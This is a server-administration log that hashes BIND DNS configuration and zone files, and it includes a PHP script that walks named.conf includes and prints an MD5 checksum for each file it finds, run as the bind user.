
2026-04-24 17:26:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 17:34:42: Establishing a connection
2026-04-24 17:34:42: 

PUT: /tmp/pkp820695

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 17:34:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp820695; rm /tmp/pkp820695'

2026-04-24 17:34:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
